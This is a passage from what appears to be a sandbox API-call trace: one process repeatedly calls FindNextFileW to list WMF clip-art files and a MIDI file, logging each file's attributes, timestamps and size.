	[0277.237] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1
	[0277.237] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1
	[0277.237] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1
	[0277.237] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1
	[0277.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1
	[0277.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1
	[0277.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1
	[0277.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1
	[0277.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1
	[0277.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1
	[0277.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1
	[0277.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1
	[0277.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1
	[0277.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1
	[0277.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1
	[0277.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1
	[0277.241] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1
	[0277.241] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1
	[0277.241] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1
	[0277.241] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1
	[0277.241] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1
	[0277.241] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1
